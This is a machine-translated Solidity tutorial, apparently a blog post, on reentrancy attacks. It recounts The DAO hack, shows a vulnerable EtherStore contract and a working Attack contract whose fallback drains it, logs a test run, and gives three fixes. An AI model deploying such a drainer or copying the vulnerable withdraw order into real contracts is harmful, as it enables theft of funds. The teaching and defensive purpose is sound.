当前位置:网站首页>Solidity - Security - reentrancy attack
Solidity - Security - reentrancy attack
2022-06-30 05:35:00 【ling1998】
The DAO event
First, a brief description of the next well-known reentry attack , Then simulate the reentry attack .
The DAO It is a distributed autonomous organization ,2016 year 5 Officially released in , The project uses the German Ethereum startup company Slock.it Write open source code .2016 year 6 month 17 In the morning , News of the attack began to appear on social networking sites , To 6 month 18 Japanese hackers will surpass 360 Million ethers transferred to one child DAO In the project ,child DAO The project and The DAO It has the same structure , At that time, the price of aether changed from 20 The dollar has come down 13 dollar .
at that time , A so-called ” Recursively call “ attack ( It is now called a reentry attack ) The noun followed , This attack can be used to consume some smart contract accounts .
This hacker attack finally led to the hard fork of Ethereum , It is divided into ETH and ETC, Before the bifurcation is ETC( Ethereum classic ), Currently in use ETH For Ethereum after hard bifurcation .
The whole event can be referred to : The DAO Attack history _x-2010 The blog of -CSDN Blog _dao attack
Simulate a reentry attack
Attack and attacked contract code
explain : The following reentry attack code , stay 0.8.0 The following versions can be successfully tested ,0.8.0 And above versions failed to test successfully , When calling the attack function, it is intercepted and an error is reported .
For the source code, see : smartcontract/Security/Reentrancy at main · tracyzhang1998/smartcontract · GitHub
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
// Attacked contract
contract EtherStore {
// Record the balance
mapping(address => uint256) public balance;
// deposit ,ether Transfer to the contract address , Also update the caller's balance;
function deposit() external payable {
balance[msg.sender] += msg.value;
}
// Withdraw money , Withdraw from the contract address balance to the caller address
function withdraw(uint256 _amount) external {
// Verify that the account balance is sufficient
require(balance[msg.sender] >= _amount, "The balance is not sufficient.");
// Withdraw money ( Transfer from the contract address to the caller's account )
(bool result,) = msg.sender.call{value: _amount}("");
// Verify the withdrawal result
require(result, "Failed to withdraw Ether");
// Update balance
balance[msg.sender] -= _amount;
}
// Check the contract balance
function getContractBalance() external view returns(uint256) {
return address(this).balance;
}
}
// Attack contracts ( Written by hackers )
contract Attack {
EtherStore public etherstore;
constructor(address _etherStoreAddress) public {
etherstore = EtherStore(_etherStoreAddress);
}
// Fallback function
fallback() external payable {
// Judge that the balance of the attacked contract is greater than or equal to 1 ether, To avoid a dead cycle , The call will fail in an infinite loop , I can't achieve my goal
if (address(etherstore).balance >= 1 ether) {
// Withdraw money from the attacked contract
etherstore.withdraw(1 ether);
}
}
// Attack function
function attack() external payable {
require(msg.value >= 1 ether);
// Deposit money into the attacked contract
//etherstore.deposit.value(1 ether)(); //0.6.0 Written in the previous version
etherstore.deposit{value: 1 ether}();
// Withdraw money from the attacked contract
etherstore.withdraw(1 ether);
}
// Check the contract balance
function getContractBalance() external view returns (uint256) {
return address(this).balance;
}
// Withdraw the contract balance to the external account
function withdraw() external payable {
payable(msg.sender).transfer(address(this).balance);
}
// View external account balance
function getExternalBalance() external view returns (uint256) {
return msg.sender.balance;
}
}Test reentry attacks
1、 The external account used for the test
Use three external accounts
Account 1 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 Deploy the attacked contract (EtherStore)
Account 2 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2 Deploy attack contract (Attack)
Account 3 0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db To the attacked contract (EtherStore) deposit
2、 Deployment contract
(1) Deploy the attacked contract (EtherStore)
Use account 1 Deploy the attacked contract (EtherStore)

After the deployment is completed, get the attacked contract (EtherStore) Address :0xd9145CCE52D386f254917e481eB44e9943F39138
(2) Deploy attack contract (Attack)
Use account 2 Deploy attack contract (Attack), Parameter fill in the attacked contract (EtherStore) Address , In the actual attack , The parameter is the actual contract address in the Ethernet .

The deployment is completed and the attack contract is obtained (Attack) Address :
0xa131AD247055FD2e2aA8b156A11bdEc81b9eAD95
3、 testing procedure ( Attack gain ETH)
(1) Account 3 Call the attacked contract (EtherStore) Deposit function
- Account 3 deposit 6Ether( Call function deposit)
- View the attacked contract (EtherStore) balance ( Call function getContractBalance), The current balance is 6Ether

(2) Account 2 Call attack contract (Attack) Attack function
- Account 2 Call attack contract (Attack) Attack function in ( Call function attack), The attacking function calls the withdrawal function in the attacked contract , The fallback function in the attack contract will be executed (fallback),fallback Transfer the balance of the attacked contract account to the attacking contract account
- View attack contracts (Attack) balance ( Call function getContractBalance), The balance is 7 Ether = Own savings 1 Ether + Attacked contract 6 Ether
- View the attacked contract (EtherStore) balance ( Call function getContractBalance), At this time, it is 0 Ether, Has been successfully transferred by the attacker

View the attacked contract (EtherStore) balance

explain :
fallback Function is an unnamed function in the contract , No parameters and no return value .
fallback conditions for execution :
- If in a call to the contract , When no other function matches the given function identifier ( Or no call data provided ),fallback The function will be executed ;
- When the contract receives ether ,fallback The function will be executed ; Attack contracts (Attack) This trigger is used in fallback conditions for execution .
About fallback Function executed 2 For the three triggering methods, see : Solitidy - fallback Fallback function - 2 Two trigger execution methods _ling1998 The blog of -CSDN Blog
(3) The attacker's contract balance is transferred to his own user account
- Account 2 Call attack contract (Attack) Withdrawal function in (withdraw), The balance of the contract account is transferred to the account 2 The user account
- View the attack contract account balance , Already been 0 Ether
- Look at the attackers ( I.e. account 2) User account balance , Successfully obtained about 6 Ether

4、 test 0.8.0 edition
Use 0.8.0 testing procedure (2) when , Report errors , The error message is as follows :
transact to Attack.attack errored: VM error: revert. revert The transaction has been reverted to the initial state. Reason provided by the contract: "Failed to withdraw Ether". Debug the transaction to get more information.

Solutions to reentry attacks
1、 Attacked contract (EtherStore) The withdrawal function in updates the balance before withdrawing
Call the attacked contract (EtherStore) Withdrawal function in , Tone order
// Update balance
balance[msg.sender] -= _amount;
// Withdraw money ( Transfer from the contract address to the caller's account )
(bool result,) = msg.sender.call{value: _amount}("");
// Verify the withdrawal result
require(result, "Failed to withdraw Ether");
Show the adjusted withdrawal function withdraw
// Withdraw money , Withdraw from the contract address balance to the caller address
function withdraw(uint256 _amount) external {
// Verify that the account balance is sufficient
require(balance[msg.sender] >= _amount, "The balance is not sufficient.");
// Update balance
balance[msg.sender] -= _amount;
// Withdraw money ( Transfer from the contract address to the caller's account )
(bool result,) = msg.sender.call{value: _amount}("");
// Verify the withdrawal result
require(result, "Failed to withdraw Ether");
}Perform test section 2 Step call attack contract (Attack) Attack function in , Report errors , And in 0.8.0 Version error same , As shown in the figure below

2、 Withdrawal use transfer Instead of msg.sender.call
// Withdraw money , Withdraw from the contract address balance to the caller address
function withdraw(uint256 _amount) external {
// Verify that the account balance is sufficient
require(balance[msg.sender] >= _amount, "The balance is not sufficient.");
/** Delete .call call **/
// // Withdraw money ( Transfer from the contract address to the caller's account )
// (bool result,) = msg.sender.call{value: _amount}("");
// // Verify the withdrawal result
// require(result, "Failed to withdraw Ether");
// Withdraw money ( Transfer from the contract address to the caller's account )
msg.sender.transfer(_amount);
// Update balance
balance[msg.sender] -= _amount;
}Perform test section 2 Step call attack contract (Attack) Attack function in , Report errors , As shown in the figure below :

3、 Using the reentry lock
Add a status variable to identify whether to lock , If it is locked, the withdrawal method in the attacked function can no longer be called .
// Attacked contract
contract EtherStore {
// Record the balance
mapping(address => uint256) public balance;
// lock
bool locked;
// Judge whether to lock , If the lock has been returned , Or lock it , Release lock after execution
modifier noLock() {
require(!locked, "The lock is locked.");
locked = true;
_;
locked = false;
}
// deposit ,ether Transfer to the contract address , Also update the caller's balance;
function deposit() external payable {
balance[msg.sender] += msg.value;
}
// Withdraw money , Withdraw from the contract address balance to the caller address
function withdraw(uint256 _amount) noLock external {
// Verify that the account balance is sufficient
require(balance[msg.sender] >= _amount, "The balance is not sufficient.");
// Withdraw money ( Transfer from the contract address to the caller's account )
(bool result,) = msg.sender.call{value: _amount}("");
// Verify the withdrawal result
require(result, "Failed to withdraw Ether");
// Update balance
balance[msg.sender] -= _amount;
}
// Check the contract balance
function getContractBalance() external view returns(uint256) {
return address(this).balance;
}
}Perform test section 2 Step call attack contract (Attack) Attack function in , Report errors , As shown in the figure below :

边栏推荐
- Xi'an Jiaotong 21st autumn online expansion resources of online trade and marketing (II)
- Who is promoting the new inflection point of audio and video industry in 2022?
- 声网,站在物联网的“土壤”里
- PKCs 12:personal information exchange syntax v1.1 translation part I
- The minecraft server address cannot be refreshed.
- Baiwen.com 7 days Internet of things smart home learning experience punch in the third day
- Database SQL language 04 subquery and grouping function
- Unity C trigonometric function, right triangle corner calculation
- 2021-10-31
- Access is denied encountered when vfpbs calls excel under IIS
猜你喜欢
![[learning notes] AssetBundle, xlua, hot update (use steps)](/img/59/9d9f31cfe55a908f2f0705e95ecc05.jpg)
[learning notes] AssetBundle, xlua, hot update (use steps)

抓取手机端变体组合思路设想

Installation and getting started with pytoch

聲網,站在物聯網的“土壤”裏

East Tower attack and defense world - XSS bypasses the safety dog

Rotating frame target detection mmrotate v0.3.1 training dota data set (II)
![[notes] unity Scrollview button page turning](/img/c7/47c4056871d0212ac61524539f0d0e.jpg)
[notes] unity Scrollview button page turning

Idea of capturing mobile terminal variant combination

English语法_形容词/副词3级-最高级

Learning about functions QAQ
随机推荐
Another download address for typro
Solidity - 安全 - 重入攻击(Reentrancy)
14x1.5cm竖向标签有点难,VFP调用BarTender来打印
Responsive layout
Responsive flow layout
【板栗糖GIS】global mapper—如何把栅格的高程值赋予给点
Xijiao 21 autumn "motor and drive" online homework answer sheet (III) [standard answer]
[typescript] cannot redeclare block range variables
Unity obtains serial port data
Installation and getting started with pytoch
Unity ugui text value suspended enlarged display add text background
Pytorch的安装以及入门使用
Unity3d- use animator and code to control task walking
After reading who moved my cheese
Online assignment of C language program design in the 22nd spring of Western Polytechnic University
You don't know how to deduce the location where HashSet stores elements?
Detailed explanation of the loss module of mmdet
旋转框目标检测mmrotate v0.3.1 训练DOTA数据集(二)
mmcv常用API介绍
领导:谁再用 Redis 过期监听实现关闭订单,立马滚蛋!